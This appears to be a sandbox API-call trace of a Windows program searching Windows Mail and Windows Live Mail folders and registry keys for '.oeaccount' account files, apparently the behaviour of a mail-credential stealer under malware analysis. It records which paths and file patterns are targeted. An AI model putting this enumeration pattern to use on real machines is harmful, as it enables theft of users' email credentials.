FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0063.413] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.413] strlen (_Str="Stars.jpg") returned 0x9 [0063.413] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.413] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.413] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0063.413] FindClose (in: hFindFile=0x2691c0 | out: hFindFile=0x2691c0) returned 1 [0063.414] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1 [0063.414] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.414] strlen (_Str="WindowsMail.MSMessageStore") returned 0x1a [0063.414] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.414] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.414] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.414] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.414] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1 [0063.414] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.414] strlen (_Str="WindowsMail.pat") returned 0xf [0063.414] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.414] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.414] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.414] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.414] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0 [0063.414] FindClose (in: hFindFile=0x2667f0 | out: hFindFile=0x2667f0) returned 1 [0063.414] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f7a0, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 1 [0063.414] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2b [0063.414] strlen (_Str="\\Microsoft\\Windows Live Mail") returned 0x1c [0063.414] _mbscat (in: param_1=0x18f7cb, param_2=0x4144ac | out: param_1=0x18f7cb) returned 0x18f7cb [0063.414] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail") returned 0x47 [0063.414] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail") returned 0x47 [0063.414] strlen (_Str="*.oeaccount") returned 0xb [0063.415] _mbscpy (in: param_1=0x18ed64, param_2=0x18f12c | out: param_1=0x18ed64) returned 0x18ed64 [0063.415] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail") returned 0x47 [0063.415] _mbscat (in: param_1=0x18ed64, param_2=0x413078 | out: param_1=0x18ed64) returned 0x18ed64 [0063.415] _mbscat (in: param_1=0x18ed64, param_2=0x414488 | out: param_1=0x18ed64) returned 0x18ed64 [0063.415] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.oeaccount", lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="\r")) returned 0xffffffff [0063.415] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail") returned 0x47 [0063.415] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail") returned 0x47 [0063.415] strlen (_Str="*.*") returned 0x3 [0063.415] _mbscpy (in: param_1=0x18f274, param_2=0x18f63c | out: param_1=0x18f274) returned 0x18f274 [0063.415] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail") returned 0x47 [0063.415] _mbscat (in: param_1=0x18f274, param_2=0x413078 | out: param_1=0x18f274) returned 0x18f274 [0063.415] _mbscat (in: param_1=0x18f274, param_2=0x413768 | out: param_1=0x18f274) returned 0x18f274 [0063.415] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x18f41c, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x18f7a0, ftLastAccessTime.dwLowDateTime=0x104, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x18f7a0, nFileSizeLow=0x0, dwReserved0=0x18f41c, dwReserved1=0x0, cFileName=",", cAlternateFileName="WINDOW~1.PAT")) returned 0xffffffff [0063.415] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f770 | out: phkResult=0x18f770*=0x0) returned 0x2 [0063.415] ExpandEnvironmentStringsA (in: lpSrc="", lpDst=0x18f8a8, nSize=0x104 | out: lpDst="") returned 0x1 [0063.415] strlen (_Str="") returned 0x0 [0063.415] _strcmpi (_Str1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Live Mail", _Str2="") returned 1 [0063.415] strlen (_Str="") returned 0x0 [0063.415] strlen (_Str="") returned 0x0 [0063.415] strlen (_Str="*.oeaccount") returned 0xb [0063.415] _mbscpy (in: param_1=0x18ed64, param_2=0x18f12c | out: param_1=0x18ed64) returned 0x18ed64 [0063.415] strlen (_Str="") returned 0x0 [0063.415] _mbscat (in: param_1=0x18ed64, param_2=0x414488 | out: param_1=0x18ed64) returned 0x18ed64 [0063.415] FindFirstFileA (in: lpFileName="*.oeaccount", lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="\r")) returned 0xffffffff [0063.415] strlen (_Str="") returned 0x0 [0063.416] strlen (_Str="") returned 0x0 [0063.416] strlen (_Str="*.*") returned 0x3 [0063.416] _mbscpy (in: param_1=0x18f274, param_2=0x18f63c | out: param_1=0x18f274) returned 0x18f274 [0063.416] strlen (_Str="") returned 0x0 [0063.416] _mbscat (in: param_1=0x18f274, param_2=0x413768 | out: param_1=0x18f274) returned 0x18f274 [0063.416] FindFirstFileA (in: lpFileName="*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xda73c1b0, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xda73c1b0, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName=".", cAlternateFileName="")) returned 0x2667f0 [0063.416] strlen (_Str="") returned 0x0 [0063.416] strlen (_Str=".") returned 0x1 [0063.416] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] strlen (_Str="") returned 0x0 [0063.416] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] strcmp (_Str1=".", _Str2="..") returned -1 [0063.416] strcmp (_Str1=".", _Str2=".") returned 0 [0063.416] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xda73c1b0, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xda73c1b0, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="..", cAlternateFileName="")) returned 1 [0063.416] strlen (_Str="") returned 0x0 [0063.416] strlen (_Str="..") returned 0x2 [0063.416] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] strlen (_Str="") returned 0x0 [0063.416] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] strcmp (_Str1="..", _Str2="..") returned 0 [0063.416] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb655c390, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0x9f6c52d0, ftLastAccessTime.dwHighDateTime=0x1d4ce7c, ftLastWriteTime.dwLowDateTime=0x9f6c52d0, ftLastWriteTime.dwHighDateTime=0x1d4ce7c, nFileSizeHigh=0x0, nFileSizeLow=0x1387d, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="7BB0.mkv", cAlternateFileName="")) returned 1 [0063.416] strlen (_Str="") returned 0x0 [0063.416] strlen (_Str="7BB0.mkv") returned 0x8 [0063.416] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] strlen (_Str="") returned 0x0 [0063.416] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bc490, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0x3df41790, ftLastAccessTime.dwHighDateTime=0x1d4ce8b, ftLastWriteTime.dwLowDateTime=0x3df41790, ftLastWriteTime.dwHighDateTime=0x1d4ce8b, nFileSizeHigh=0x0, nFileSizeLow=0x8ec3, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="ahWFC2KhtvL8IGRp.m4a", cAlternateFileName="AHWFC2~1.M4A")) returned 1 [0063.416] strlen (_Str="") returned 0x0 [0063.416] strlen (_Str="ahWFC2KhtvL8IGRp.m4a") returned 0x14 [0063.416] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] strlen (_Str="") returned 0x0 [0063.416] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c21b00, ftCreationTime.dwHighDateTime=0x1d4ca60, ftLastAccessTime.dwLowDateTime=0x8b082f00, ftLastAccessTime.dwHighDateTime=0x1d4d32f, ftLastWriteTime.dwLowDateTime=0x8b082f00, ftLastWriteTime.dwHighDateTime=0x1d4d32f, nFileSizeHigh=0x0, nFileSizeLow=0xde7e, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="bJ3cL9pFFb 14 e_mO.xlsx", cAlternateFileName="BJ3CL9~1.XLS")) returned 1 [0063.416] strlen (_Str="") returned 0x0 [0063.416] strlen (_Str="bJ3cL9pFFb 14 e_mO.xlsx") returned 0x17 [0063.416] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] strlen (_Str="") returned 0x0 [0063.416] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.416] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.416] strlen (_Str="") returned 0x0 [0063.417] strlen (_Str="desktop.ini") returned 0xb [0063.417] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] strlen (_Str="") returned 0x0 [0063.417] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac23a70, ftCreationTime.dwHighDateTime=0x1d4c6d5, ftLastAccessTime.dwLowDateTime=0xaa9b8640, ftLastAccessTime.dwHighDateTime=0x1d4d1d7, ftLastWriteTime.dwLowDateTime=0xaa9b8640, ftLastWriteTime.dwHighDateTime=0x1d4d1d7, nFileSizeHigh=0x0, nFileSizeLow=0x55e6, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="e0AsvT5mmPFXglLN8dy.bmp", cAlternateFileName="E0ASVT~1.BMP")) returned 1 [0063.417] strlen (_Str="") returned 0x0 [0063.417] strlen (_Str="e0AsvT5mmPFXglLN8dy.bmp") returned 0x17 [0063.417] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] strlen (_Str="") returned 0x0 [0063.417] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfb3d580, ftCreationTime.dwHighDateTime=0x1d54023, ftLastAccessTime.dwLowDateTime=0xcfb3d580, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xccb8e500, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0xad000, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="gmmqacgpk.exe", cAlternateFileName="GMMQAC~1.EXE")) returned 1 [0063.417] strlen (_Str="") returned 0x0 [0063.417] strlen (_Str="gmmqacgpk.exe") returned 0xd [0063.417] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] strlen (_Str="") returned 0x0 [0063.417] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7841d940, ftCreationTime.dwHighDateTime=0x1d4d12a, ftLastAccessTime.dwLowDateTime=0xdff9a8f0, ftLastAccessTime.dwHighDateTime=0x1d4c6b8, ftLastWriteTime.dwLowDateTime=0xdff9a8f0, ftLastWriteTime.dwHighDateTime=0x1d4c6b8, nFileSizeHigh=0x0, nFileSizeLow=0xbc5, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="jmoY6dxuJ3hY6rAOsdSb.mp3", cAlternateFileName="JMOY6D~1.MP3")) returned 1 [0063.417] strlen (_Str="") returned 0x0 [0063.417] strlen (_Str="jmoY6dxuJ3hY6rAOsdSb.mp3") returned 0x18 [0063.417] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] strlen (_Str="") returned 0x0 [0063.417] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9dfe90, ftCreationTime.dwHighDateTime=0x1d4c866, ftLastAccessTime.dwLowDateTime=0x3aeb6590, ftLastAccessTime.dwHighDateTime=0x1d4d227, ftLastWriteTime.dwLowDateTime=0x3aeb6590, ftLastWriteTime.dwHighDateTime=0x1d4d227, nFileSizeHigh=0x0, nFileSizeLow=0x16844, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="JnFFNxvFqDUN.gif", cAlternateFileName="JNFFNX~1.GIF")) returned 1 [0063.417] strlen (_Str="") returned 0x0 [0063.417] strlen (_Str="JnFFNxvFqDUN.gif") returned 0x10 [0063.417] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] strlen (_Str="") returned 0x0 [0063.417] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20996c20, ftCreationTime.dwHighDateTime=0x1d4cf3c, ftLastAccessTime.dwLowDateTime=0xcb1de900, ftLastAccessTime.dwHighDateTime=0x1d4d19e, ftLastWriteTime.dwLowDateTime=0xcb1de900, ftLastWriteTime.dwHighDateTime=0x1d4d19e, nFileSizeHigh=0x0, nFileSizeLow=0x103d, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="kCuYx0NpUy.flv", cAlternateFileName="KCUYX0~1.FLV")) returned 1 [0063.417] strlen (_Str="") returned 0x0 [0063.417] strlen (_Str="kCuYx0NpUy.flv") returned 0xe [0063.417] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] strlen (_Str="") returned 0x0 [0063.417] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdbfc390, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0xa8e14a50, ftLastAccessTime.dwHighDateTime=0x1d4c89b, ftLastWriteTime.dwLowDateTime=0xa8e14a50, ftLastWriteTime.dwHighDateTime=0x1d4c89b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="LLeV0n", cAlternateFileName="")) returned 1 [0063.417] strlen (_Str="") returned 0x0 [0063.417] strlen (_Str="LLeV0n") returned 0x6 [0063.417] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] strlen (_Str="") returned 0x0 [0063.417] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.417] strcmp (_Str1="LLeV0n", _Str2="..") returned 1 [0063.417] strcmp (_Str1="LLeV0n", _Str2=".") returned 1 [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] strlen (_Str="*.oeaccount") returned 0xb [0063.418] _mbscpy (in: param_1=0x18e32c, param_2=0x18e6f4 | out: param_1=0x18e32c) returned 0x18e32c [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] _mbscat (in: param_1=0x18e32c, param_2=0x413078 | out: param_1=0x18e32c) returned 0x18e32c [0063.418] _mbscat (in: param_1=0x18e32c, param_2=0x414488 | out: param_1=0x18e32c) returned 0x18e32c [0063.418] FindFirstFileA (in: lpFileName="LLeV0n\\*.oeaccount", lpFindFileData=0x18e470 | out: lpFindFileData=0x18e470*(dwFileAttributes=0x26bf08, ftCreationTime.dwLowDateTime=0x18ff78, ftCreationTime.dwHighDateTime=0x771a1ecd, ftLastAccessTime.dwLowDateTime=0x18e820, ftLastAccessTime.dwHighDateTime=0xfffffffe, ftLastWriteTime.dwLowDateTime=0x3, ftLastWriteTime.dwHighDateTime=0x80006, nFileSizeHigh=0x2690e0, nFileSizeLow=0x228, dwReserved0=0x5, dwReserved1=0x0, cFileName="\x06", cAlternateFileName="s")) returned 0xffffffff [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] strlen (_Str="*.*") returned 0x3 [0063.418] _mbscpy (in: param_1=0x18e83c, param_2=0x18ec04 | out: param_1=0x18e83c) returned 0x18e83c [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] _mbscat (in: param_1=0x18e83c, param_2=0x413078 | out: param_1=0x18e83c) returned 0x18e83c [0063.418] _mbscat (in: param_1=0x18e83c, param_2=0x413768 | out: param_1=0x18e83c) returned 0x18e83c [0063.418] FindFirstFileA (in: lpFileName="LLeV0n\\*.*", lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdbfc390, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0xa8e14a50, ftLastAccessTime.dwHighDateTime=0x1d4c89b, ftLastWriteTime.dwLowDateTime=0xa8e14a50, ftLastWriteTime.dwHighDateTime=0x1d4c89b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName=".", cAlternateFileName="")) returned 0x2691c0 [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] strlen (_Str=".") returned 0x1 [0063.418] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.418] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.418] strcmp (_Str1=".", _Str2="..") returned -1 [0063.418] strcmp (_Str1=".", _Str2=".") returned 0 [0063.418] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdbfc390, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0xa8e14a50, ftLastAccessTime.dwHighDateTime=0x1d4c89b, ftLastWriteTime.dwLowDateTime=0xa8e14a50, ftLastWriteTime.dwHighDateTime=0x1d4c89b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="..", cAlternateFileName="")) returned 1 [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] strlen (_Str="..") returned 0x2 [0063.418] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.418] strlen (_Str="LLeV0n") returned 0x6 [0063.418] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.419] strcmp (_Str1="..", _Str2="..") returned 0 [0063.419] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24d515e0, ftCreationTime.dwHighDateTime=0x1d4c72c, ftLastAccessTime.dwLowDateTime=0xfc160160, ftLastAccessTime.dwHighDateTime=0x1d4c90f, ftLastWriteTime.dwLowDateTime=0xfc160160, ftLastWriteTime.dwHighDateTime=0x1d4c90f, nFileSizeHigh=0x0, nFileSizeLow=0x1c78, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName="2gG1-fvgooxDSv59V.docx", cAlternateFileName="2GG1-F~1.DOC")) returned 1 [0063.419] strlen (_Str="LLeV0n") returned 0x6 